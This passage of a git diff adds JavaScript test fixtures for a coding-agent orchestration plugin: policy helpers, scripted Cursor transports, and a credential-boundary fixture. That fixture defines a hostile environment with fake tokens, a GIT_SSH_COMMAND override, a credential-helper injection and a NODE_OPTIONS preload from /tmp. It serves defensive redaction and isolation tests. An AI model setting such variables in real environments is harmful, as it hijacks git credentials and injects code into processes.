trapTotal, + validCommand, + validPolicy, +} from './r1-verification-policy-fixtures.mjs'; + +export { countingProxy, trapTotal, validCommand, validPolicy }; + +const execFile = promisify(execFileCallback); + +export const GIT_EXECUTABLE = '/usr/bin/git'; +export const TRUE_EXECUTABLE = '/usr/bin/true'; +export const HEAD_SHA_A = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; +export const HEAD_SHA_B = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; + +const GIT_ENV = { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_AUTHOR_NAME: 'P16C', + GIT_AUTHOR_EMAIL: 'p16c@example.test', + GIT_COMMITTER_NAME: 'P16C', + GIT_COMMITTER_EMAIL: 'p16c@example.test', + GIT_TERMINAL_PROMPT: '0', +}; + +export function gitIdentitySnapshot(overrides = {}) { + const head = overrides.head_sha ?? HEAD_SHA_A; + return { + head_sha: head, + status: '', + refs: `${head} refs/heads/main\n`, + config: 'user.email=p16c@example.test\n', + worktrees: `${overrides.gitdir ?? '/tmp/cce-p16c-candidate/.git'}\n`, + gitdir: overrides.gitdir ?? '/tmp/cce-p16c-candidate/.git', + ...overrides, + }; +} + +export function fakeChild(options = {}) { + const child = new EventEmitter(); + child.pid = options.pid ?? 4242; + child.stdout = new PassThrough(); + child.stderr = new PassThrough(); + child.killed = false; + child.kill = (signal) => { + child.killed = true; + if (options.hang === true && options.ignoreKill === true) return true; + const code = options.killCode === undefined ? null : options.killCode; + const sig = options.killSignal === undefined ? (signal ?? 'SIGTERM') : options.killSignal; + queueMicrotask(() => child.emit('exit', code, sig)); + return true; + }; + queueMicrotask(() => { + if (typeof child.emit === 'function') child.emit('spawn'); + if (options.stdout !== undefined) child.stdout.write(options.stdout); + if (options.stderr !== undefined) child.stderr.write(options.stderr); + if (options.floodBytes > 0) { + child.stdout.write(Buffer.alloc(options.floodBytes, 0x41)); + } + if (options.hang !== true) { + child.stdout.end(); + child.stderr.end(); + child.emit('exit', options.code ?? 0, options.signal ?? null); + } + }); + return child; +} + +export function recordingAdapter(overrides = {}) { + const calls = { + spawn: [], + mkdir: [], + rmdir: [], + kill: [], + }; + const adapter = { + nowMs: overrides.nowMs ?? (() => Date.now()), + randomId: overrides.randomId ?? (() => { + const bytes = new Uint8Array(16); + for (let index = 0; index < 16; index += 1) bytes[index] = Math.floor(Math.random() * 256); + return Buffer.from(bytes).toString('hex'); + }), + tmpRoot: overrides.tmpRoot ?? (() => path.resolve(tmpdir())), + lstat: overrides.lstat ?? ((target, options) => lstat(target, options ?? { bigint: true })), + mkdir: async (target, options) => { + calls.mkdir.push(target); + if (overrides.mkdir) return overrides.mkdir(target, options); + return mkdir(target, options); + }, + realpath: overrides.realpath ?? ((target) => realpath(target)), + rmdirExact: async (record) => { + calls.rmdir.push(record.path); + if (overrides.rmdirExact) return overrides.rmdirExact(record); + return rm(record.path, { recursive: true, force: false }); + }, + spawn: (file, args, options) => { + calls.spawn.push({ file, args, options }); + if (overrides.spawn) return overrides.spawn(file, args, options); + return fakeChild(overrides.child ?? {}); + }, + killProcessGroup: (pid, signal) => { + calls.kill.push({ pid, signal }); + if (overrides.killProcessGroup) return overrides.killProcessGroup(pid, signal); + }, + listDescendants: overrides.listDescendants ?? (async () => []), + }; + if (overrides.readGitIdentity) adapter.readGitIdentity = overrides.readGitIdentity; + else if (overrides.git) { + adapter.readGitIdentity = async () => overrides.git; + } + return { adapter, calls }; +} + +export async function makeTempRoot(prefix = 'cce-p16c-') { + return mkdtemp(path.join(tmpdir(), prefix)); +} + +export async function writeRunnable(file, body = '#!/bin/sh\nexit 0\n') { + await mkdir(path.dirname(file), { recursive: true }); + await writeFile(file, body, { encoding: 'utf8', mode: 0o755 }); + await chmod(file, 0o755); + return file; +} + +export async function initCandidateRepo(root) { + await mkdir(root, { recursive: true }); + await execFile(GIT_EXECUTABLE, ['init', '--initial-branch=main', root], { env: GIT_ENV }); + await execFile(GIT_EXECUTABLE, ['-C', root, 'config', 'user.email', 'p16c@example.test'], { env: GIT_ENV }); + await execFile(GIT_EXECUTABLE, ['-C', root, 'config', 'user.name', 'P16C'], { env: GIT_ENV }); + await writeFile(path.join(root, 'README'), 'p16c\n'); + await execFile(GIT_EXECUTABLE, ['-C', root, 'add', 'README'], { env: GIT_ENV }); + await execFile(GIT_EXECUTABLE, ['-C', root, 'commit', '-m', 'init'], { env: GIT_ENV }); + const { stdout } = await execFile( + GIT_EXECUTABLE, ['-C', root, 'rev-parse', 'HEAD'], { env: GIT_ENV }, + ); + return stdout.trim(); +} + +export function policyForExecutable(executable, overrides = {}) { + const command = { + executable, + argv_template: overrides.argv_template ?? ['ok'], + command_id: overrides.command_id ?? 'unit-tests', + }; + for (const key of ['timeout_ms', 'resources', 'environment', 'mutation', 'network', 'parameters']) { + if (Object.hasOwn(overrides, key) && overrides[key] !== undefined) { + command[key] = overrides[key]; + } + } + return validPolicy({ + commands: [validCommand(command)], + }); +} + +export function validSelection(overrides = {}) { + return { + command_id: 'unit-tests', + ...overrides, + }; +} + +export function genuineRequest({ policy, executable, candidate, selection, intentOverrides }) { + const resolvedPolicy = policy ?? policyForExecutable(executable); + const intent = resolveApprovedVerificationCommandV1({ + policy: resolvedPolicy, + selection: selection ?? validSelection(), + }); + return { + policy: resolvedPolicy, + intent: intentOverrides === undefined ? intent : { ...intent, ...intentOverrides }, + candidate, + }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs new file mode 100644 index 0000000..225144a --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs @@ -0,0 +1,54 @@ +// Shared construction helpers for P29 credential-boundary tests. +// Tests own the assertions. Fixtures never print credential values. + +import { chmod, mkdir, mkdtemp, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { DEFAULT_DSH_MODEL, DSH_OX_MODEL } from '../../mcp/v3/credential-boundary.mjs'; + +export const HOSTILE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/home/test-user', + USER: 'test-user', + GIT_SSH: '/tmp/hostile-ssh', + GIT_SSH_COMMAND: 'ssh -i /tmp/hostile-id', + GIT_ASKPASS: '/tmp/hostile-askpass', + GIT_CONFIG_PARAMETERS: "'credential.helper=store'", + SSH_AUTH_SOCK: '/tmp/hostile-agent.sock', + SSH_AGENT_PID: '4242', + GH_TOKEN: 'ghp_hostile-github-token-value', + GITHUB_TOKEN: 'github_pat_hostile-value', + GITLAB_TOKEN: 'glpat-hostile-value', + BITBUCKET_TOKEN: 'bbat-hostile-value', + WORKTREE_BOOTSTRAP_TASK: 'hostile-control-token', + CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: '/tmp/hostile-muse-key', + CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE: '/tmp/hostile-ox-key', + CURSOR_API_KEY_FILE: '/tmp/hostile-cursor-key', + MODEL_API_KEY: 'muse-secret-value-abcdef', + OPENROUTER_API_KEY: 'ox-secret-value-abcdef', + XAI_API_KEY: 'xai-secret-value-abcdef', + CURSOR_API_KEY: 'cursor-secret-value-abcdef', + NODE_OPTIONS: '--require /tmp/hostile-preload', +}); + +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export { DEFAULT_DSH_MODEL, DSH_OX_MODEL }; + +export async function withTempDir(prefix, build) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + try { + return await build(root); + } finally { + const { rm } = await import('node:fs/promises'); + await rm(root, { recursive: true, force: true }); + } +} + +export async function writeOwnerFile(file, contents, mode = 0o600) { + await mkdir(path.dirname(file), { recursive: true, mode: 0o700 }); + await writeFile(file, contents, { mode, flag: 'wx' }); + await chmod(file, mode); + return file; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs new file mode 100644 index 0000000..4853e23 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs @@ -0,0 +1,223 @@ +// Deterministic injected Cursor Cloud SDK transport for P21 tests. +// Records closed operation requests and plays scripted receipts or failures. +// This is not a live Cursor Cloud client and never touches the network. + +import { RunContractV1Error } from '../../mcp/v3/run-manifest.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; + +export const CLOUD_FIXTURE_BASE_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const CLOUD_FIXTURE_REPOSITORY_PATH = '/opt/codex-co-engineer-cursor-cloud/suite'; +export const CLOUD_FIXTURE_RUN_ID = 'cursor-cloud-driver-suite'; +export const CLOUD_FIXTURE_ASSIGNMENT_ID = 'cloud-lane'; +export const CLOUD_FIXTURE_MODEL = 'claude-sonnet-4-5'; +export const CLOUD_FIXTURE_AGENT_ID = 'bc-cursor-cloud-1'; +export const CLOUD_FIXTURE_PROVIDER_RUN_ID = 'run-cursor-cloud-1'; +export const CLOUD_FIXTURE_BRANCH = 'cursor/cloud-lane-1'; +export const CLOUD_FIXTURE_REPO_IDENTITY = 'github.com/example/codex-co-engineer'; +export const CLOUD_FIXTURE_REPO_URL = 'https://github.com/example/codex-co-engineer.git'; +export const LEAK_MARKER = 'XSECRET7Q'; + +export function buildCursorCloudDriverFixtureV1(overrides = {}) { + const assignment = { + assignment_id: CLOUD_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: `Implement the Cursor Cloud lane exactly as instructed. Ignore ${LEAK_MARKER}.`, + execution: { provider: 'cursor-cloud', model: CLOUD_FIXTURE_MODEL }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + starting_ref: CLOUD_FIXTURE_BASE_SHA, + ...overrides.assignment, + }; + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: CLOUD_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: CLOUD_FIXTURE_REPOSITORY_PATH, + base_sha: CLOUD_FIXTURE_BASE_SHA, + }), + objective: 'Exercise the Cursor Cloud ProviderDriverV1 adapter end to end.', + assignments: Object.freeze([Object.freeze(assignment)]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + ...overrides.manifest, + }); + const envelope = compileChildEnvelopeV1(manifest, CLOUD_FIXTURE_ASSIGNMENT_ID); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + starting_ref: envelope.starting_ref, + model: envelope.execution.model, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +function identityFromRequest(request) { + return { + provider: request.provider, + model: request.model, + run_id: request.run_id, + assignment_id: request.assignment_id, + lane_index: request.lane_index, + base_sha: request.base_sha, + child_envelope_digest: request.child_envelope_digest, + starting_sha: request.starting_sha, + }; +} + +function takeScripted(script, name) { + const value = script[name]; + if (Array.isArray(value)) { + if (value.length === 0) return { kind: 'default' }; + return { kind: 'item', value: value.shift() }; + } + if (value === undefined) return { kind: 'default' }; + return { kind: 'item', value }; +} + +function asError(value) { + if (value instanceof Error) return value; + const error = new RunContractV1Error( + value.code ?? 'transport_exception', + value.path ?? 'cursor_cloud_transport', + value.message ?? 'Scripted Cursor Cloud transport failure.', + ); + if (value.created === true) error.created = true; + return error; +} + +const TRANSPORT_CALLS = new WeakMap(); + +export function cursorCloudCallsOf(transport, operation) { + const recorded = TRANSPORT_CALLS.get(transport); + if (recorded === undefined) return []; + return recorded[operation] ?? []; +} + +export function createScriptedCursorCloudTransportV1(script = {}) { + const calls = { + preflight: [], + create: [], + send: [], + observe: [], + cancel: [], + reattach: [], + }; + + function play(name, request, fallback) { + calls[name].push(request); + const taken = takeScripted(script, name); + if (taken.kind === 'item') { + if (typeof taken.value === 'function') return taken.value(request); + if (taken.value && taken.value.throw === true) throw asError(taken.value); + return taken.value; + } + return fallback(); + } + + const transport = { + preflight(request) { + return play('preflight', request, () => ({ + ok: true, + ...identityFromRequest(request), + requested_model: request.model, + effective_model: request.model, + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: request.starting_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + })); + }, + create(request) { + return play('create', request, () => ({ + created: true, + agent_id: request.proposed_agent_id ?? CLOUD_FIXTURE_AGENT_ID, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + send(request) { + return play('send', request, () => ({ + acknowledged: true, + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + observe(request) { + return play('observe', request, () => ({ + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + status: 'running', + head_sha: request.starting_sha, + merge_base_sha: request.starting_sha, + linear_history: true, + events: [{ kind: 'status', bytes: 12 }], + progress: { status: 'running', event_count: 1, elapsed_ms: 20, cursor: '1' }, + cursor: '1', + elapsed_ms: 20, + event_count: 1, + })); + }, + cancel(request) { + return play('cancel', request, () => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: request.branch ?? CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + reattach(request) { + return play('reattach', request, () => ({ + reattached: true, + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + }; + TRANSPORT_CALLS.set(transport, calls); + return transport; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-result-source-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-result-source-fixtures.mjs new file mode 100644 index 0000000..b1e6e38 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-result-source-fixtures.mjs @@ -0,0 +1,107 @@ +// Fixtures for the P12 Cursor Cloud result-source tests. +// +// Pure data builders and pinned identities. Store-root helpers chmod 0700 +// after creation and never change process umask. + +import { createHash } from 'node:crypto'; +import { chmodSync, mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_MAX_BYTES, +} from '../../mcp/v3/cursor-cloud-result-source.mjs'; + +export const RUN_ID = 'run-p12-cloud'; +export const ASSIGNMENT_ID = 'cloud-lane'; +export const MODEL = 'claude-sonnet-4-5'; +export const REQUEST_ID = 'cloud-lane:run:1'; +export const AGENT_ID = 'bc-cursor-cloud-1'; +export const PROVIDER_RUN_ID = 'run-cursor-cloud-1'; +export const BRANCH = 'cursor/cloud-lane-1'; +export const HOSTILE_BRANCH = 'cursor/hostile-takeover'; +export const REPO_IDENTITY = 'github.com/example/codex-co-engineer'; +export const REPO_URL = 'https://github.com/example/codex-co-engineer.git'; +export const HOSTILE_REPO_URL = 'https://github.com/evil/takeover.git'; +export const PR_URL = 'https://github.com/example/codex-co-engineer/pull/12'; +export const HOSTILE_PR_URL = 'https://github.com/evil/takeover/pull/99'; +export const STARTING_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const HEAD_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const HOSTILE_SHA = 'cccccccccccccccccccccccccccccccccccccccc'; +export const SECRET = 'sk-live-secret-1234567890'; +export const REPLACEMENT = '[REDACTED]'; + +export const INLINE_TAIL_MAX = CURSOR_CLOUD_RESULT_SOURCE_INLINE_TAIL_MAX_BYTES; + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +export function makeStoreRoot(prefix = 'cce-p12-cloud-') { + const root = mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); + chmodSync(root, 0o700); + return root; +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function identityFor(overrides = {}) { + return { + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + provider: 'cursor-cloud', + model: MODEL, + request_id: REQUEST_ID, + agent_id: AGENT_ID, + provider_run_id: PROVIDER_RUN_ID, + repository_url: REPO_URL, + repository_identity: REPO_IDENTITY, + branch: BRANCH, + starting_sha: STARTING_SHA, + ...overrides, + }; +} + +export function gitEvidenceFor(overrides = {}) { + return { + repository_identity: REPO_IDENTITY, + repository_url: REPO_URL, + branch: BRANCH, + head_sha: HEAD_SHA, + merge_base_sha: STARTING_SHA, + starting_sha: STARTING_SHA, + linear_history: true, + pr_url: PR_URL, + ...overrides, + }; +} + +export function providerOutput(suffix = 'VERDICT: CLOUD PASS') { + return `cursor cloud provider output\nhead claimed as ${HOSTILE_SHA}\nPR ${HOSTILE_PR_URL}\nbranch ${HOSTILE_BRANCH}\n${suffix}`; +} + +export function oversizeProviderOutput(suffix = 'VERDICT: OVERSIZE PASS') { + return `${'x'.repeat(5000)}${suffix}`; +} + +export function exact4096(suffix = 'TAIL') { + const suffixBytes = Buffer.byteLength(suffix, 'utf8'); + const prefix = 'a'.repeat(INLINE_TAIL_MAX - suffixBytes); + return `${prefix}${suffix}`; +} + +export function sdkResultFor(overrides = {}) { + return { + id: PROVIDER_RUN_ID, + requestId: REQUEST_ID, + agentId: AGENT_ID, + status: 'finished', + result: providerOutput(), + git: { + branches: [{ repoUrl: REPO_URL, branch: BRANCH, prUrl: PR_URL }], + }, + ...overrides, + }; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs new file mode 100644 index 0000000..f7b1bc2 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs @@ -0,0 +1,337 @@ +// Scripted local Cursor transport fixtures for the P19 cursor-local driver +// tests. Neutral construction only: the fixtures record every transport +// call and script closed outcomes; the tests own every assertion. +// +// The fixture never touches a real Cursor CLI, network, or repository. It +// exists so the driver's lifecycle, identity binding, redaction bounds, +// and content-free error surfaces can be exercised offline. + +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; +import { p17Record } from './r1-resolver-fixtures.mjs'; + +export const DRIVER_DECLARATION_SCHEMA_ID = 'codex-co-engineer.driver-declaration.v1'; +export const CURSOR_LOCAL_FIXTURE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c2'; +export const CURSOR_LOCAL_FIXTURE_REPOSITORY_PATH = '/opt/codex-co-engineer-driver-contract/local-worktree'; +export const CURSOR_LOCAL_FIXTURE_RUN_ID = 'cursor-local-driver-spec'; +export const CURSOR_LOCAL_FIXTURE_ASSIGNMENT_ID = 'local-lane'; +export const CURSOR_LOCAL_FIXTURE_MODEL = 'composer-1'; +export const FIXTURE_SESSION_PREFIX = 'sess-local-'; +export const FIXTURE_QUESTION_ID = 'q-attn-1'; +export const FIXTURE_QUESTION_TEXT = 'Approve writing the integration spec?'; + +// A secret-shaped payload used to prove redaction; never a real value. +export const SECRET_BEARER_TOKEN = 'Bearer sk-live-abcdef0123456789'; +export const SECRET_API_KEY_PAIR = 'api_key = "super-secret-value-1234567890"'; +export const SECRET_AWS_KEY = 'AKIAIOSFODNN7EXAMPLE'; +export const SECRET_SPLIT_HEAD = 'Bearer sk-li'; +export const SECRET_SPLIT_TAIL = 've-9988776655443322'; + +export function buildCursorLocalFixtureV1(overrides = {}) { + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: overrides.run_id ?? CURSOR_LOCAL_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: overrides.repository_path ?? CURSOR_LOCAL_FIXTURE_REPOSITORY_PATH, + base_sha: overrides.base_sha ?? CURSOR_LOCAL_FIXTURE_BASE_SHA, + }), + objective: 'Exercise the cursor-local driver end to end offline.', + assignments: Object.freeze([Object.freeze({ + assignment_id: overrides.assignment_id ?? CURSOR_LOCAL_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the lane exactly as instructed by the envelope.', + execution: Object.freeze({ + provider: overrides.provider ?? 'cursor-local', + model: overrides.model ?? CURSOR_LOCAL_FIXTURE_MODEL, + }), + write_scope: Object.freeze(['docs/**']), + acceptance: Object.freeze([Object.freeze({ + command_id: 'unit-tests', timeout_ms: 600_000, + })]), + expected_duration_ms: 1_200_000, + required_evidence: Object.freeze(['provider_report']), + })]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + }); + const assignmentId = overrides.assignment_id ?? CURSOR_LOCAL_FIXTURE_ASSIGNMENT_ID; + const envelope = compileChildEnvelopeV1(manifest, assignmentId); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + repository_path: envelope.repository.path, + provider: envelope.execution.provider, + model: envelope.execution.model, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +export function cursorLocalDeclaration(capabilityOverrides = {}, featureOverrides = {}) { + return { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: p17Record('cursor-local', capabilityOverrides), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + ...featureOverrides, + }, + }; +} + +function cloneRequest(request) { + // Requests are validated direct JSON by the time they reach the + // transport; a shallow structured copy is enough for call records. + if (request === null || typeof request !== 'object') return request; + const clone = {}; + for (const key of Object.keys(request)) { + const value = request[key]; + clone[key] = (value !== null && typeof value === 'object') + ? JSON.parse(JSON.stringify(value)) + : value; + } + return clone; +} + +class TransportFailure extends Error { + constructor(code, message) { + super(message); + this.name = 'TransportFailure'; + this.code = code; + } +} + +// Build a scripted transport plus its call record. `scenario` selects the +// closed outcome sequence; `overrides` replaces individual methods for +// targeted hostile cases. +export function createCursorLocalTransportStub(scenario = 'happy', overrides = {}) { + const state = { + acks: 0, + availabilityCalls: 0, + bindingEchoCorrupt: overrides.binding_echo_corrupt === true, + cancelCalls: 0, + cancels: [], + completedAfter: overrides.completed_after ?? (scenario === 'attention' ? 3 : 2), + observes: 0, + observeResults: [], + questionAnswered: false, + replies: 0, + replyRecords: [], + sends: 0, + sendRecords: [], + sessionCounter: 0, + spawnCalls: 0, + spawnRecords: [], + }; + const calls = []; + const record = (method, request) => calls.push({ method, request: cloneRequest(request) }); + const sessionIdFor = () => `${FIXTURE_SESSION_PREFIX}${state.spawnCalls}`; + const binding = (request, fallback) => (state.bindingEchoCorrupt + ? 'sha256:' + 'f'.repeat(64) + : (request?.binding_digest ?? fallback)); + + const methods = { + availability() { + state.availabilityCalls += 1; + record('availability', {}); + if (scenario === 'unavailable') return { available: false }; + if (scenario === 'availability_failure') { + throw new TransportFailure(undefined, 'availability probe exploded'); + } + return { available: true }; + }, + spawn(request) { + state.spawnCalls += 1; + state.sessionCounter = state.spawnCalls; + record('spawn', request); + state.spawnRecords.push(cloneRequest(request)); + if (scenario === 'spawn_failure') throw new Error(`spawn pipe broke: ${SECRET_BEARER_TOKEN}`); + return { + binding_digest: binding(request), + session_id: sessionIdFor(), + }; + }, + send(request) { + state.sends += 1; + record('send', request); + state.sendRecords.push(cloneRequest(request)); + if (scenario === 'pre_write_failure') { + throw new TransportFailure('pre_write_failure', 'nothing was written'); + } + if (scenario === 'ambiguous_send') throw new Error('connection reset mid-write'); + if (scenario === 'send_getter_bomb') { + throw new TransportFailure(undefined, `boom ${SECRET_API_KEY_PAIR}`); + } + state.acks += 1; + return { acknowledged: true, binding_digest: binding(request), session_id: request.session_id }; + }, + observe(request) { + state.observes += 1; + record('observe', request); + if (scenario === 'session_lost' && state.observes === 1) { + // The provider reports a different live session id: correlation is + // broken and the lane must refuse to bind the uncorrelated session. + return { + binding_digest: binding(request), + events: ['progress line'], + session_id: `${request.session_id}-reborn`, + status: 'running', + }; + } + if (scenario === 'wrong_binding_echo' && state.observes === 1) { + return { binding_digest: 'sha256:' + '0'.repeat(64), session_id: request.session_id, status: 'running' }; + } + if (scenario === 'observe_throws') throw new Error(`observe died ${SECRET_AWS_KEY}`); + const index = state.observes; + state.observeResults.push(index); + if (scenario === 'attention') { + if (index === 1) { + return { + binding_digest: binding(request), + question: { question_id: FIXTURE_QUESTION_ID, question_text: FIXTURE_QUESTION_TEXT }, + session_id: request.session_id, + status: 'attention', + }; + } + if (!state.questionAnswered && index > 1) { + return { + binding_digest: binding(request), + question: { question_id: FIXTURE_QUESTION_ID, question_text: FIXTURE_QUESTION_TEXT }, + session_id: request.session_id, + status: 'attention', + }; + } + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsProgress + ? { progress_text: index >= state.completedAfter ? 'spec approved and drafted' : 'drafting' } + : {}), + session_id: request.session_id, + status: index >= state.completedAfter ? 'completed' : 'running', + }; + } + if (scenario === 'cancel_requested_flow') { + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsProgress + ? { progress_text: index === 1 ? 'winding down' : 'stopped' } : {}), + session_id: request.session_id, + status: index >= 2 ? 'completed' : 'running', + }; + } + if (scenario === 'secret_chunks') { + if (index === 1) { + return { + binding_digest: binding(request), + events: [ + `${SECRET_SPLIT_HEAD}`, + `${SECRET_SPLIT_TAIL} rotated`, + `key material ${SECRET_API_KEY_PAIR}`, + `aws ${SECRET_AWS_KEY} leaked`, + '😀😀😀 multi-byte tail 😀', + ], + progress_text: 'streaming chunks', + session_id: request.session_id, + status: 'running', + }; + } + const wantsEvents = Array.isArray(request.include) + && request.include.includes('detailed_events'); + return { + binding_digest: binding(request), + ...(wantsEvents + ? { events: [`final chunk carries ${SECRET_SPLIT_HEAD}`, `${SECRET_SPLIT_TAIL} across calls`] } + : {}), + session_id: request.session_id, + status: 'completed', + }; + } + if (scenario === 'flood') { + const wantsEvents = Array.isArray(request.include) + && request.include.includes('detailed_events'); + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsEvents + ? { + events: Array.from( + { length: 40 }, + (_, i) => `chunk-${i} ${SECRET_BEARER_TOKEN}`.concat(' x'.repeat(400)), + ), + } + : {}), + ...(wantsProgress ? { progress_text: 'x'.repeat(120_000) } : {}), + session_id: request.session_id, + status: index >= 2 ? 'completed' : 'running', + }; + } + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsProgress + ? { progress_text: index >= state.completedAfter ? 'lane finished' : 'working' } + : {}), + session_id: request.session_id, + status: index >= state.completedAfter ? 'completed' : 'running', + }; + }, + cancel(request) { + state.cancelCalls += 1; + record('cancel', request); + state.cancels.push(cloneRequest(request)); + if (scenario === 'cancel_requested_flow') { + return { binding_digest: binding(request), outcome: 'requested', session_id: request.session_id }; + } + return { binding_digest: binding(request), outcome: 'confirmed', session_id: request.session_id }; + }, + reply(request) { + state.replies += 1; + record('reply', request); + state.replyRecords.push(cloneRequest(request)); + if (scenario === 'reply_fails_once') throw new Error('reply pipe broke'); + state.questionAnswered = true; + return { answered: true, binding_digest: binding(request), session_id: request.session_id }; + }, + }; + + const transport = { ...methods, ...overrides.transport }; + return { calls, state, transport }; +} + +// Getter-bearing hostile result helpers: reading any field through these +// objects would trip the counters. The driver must reject them with zero +// counter increments. +export function getterBombResult(base, counter, key = 'status') { + const result = { ...base }; + delete 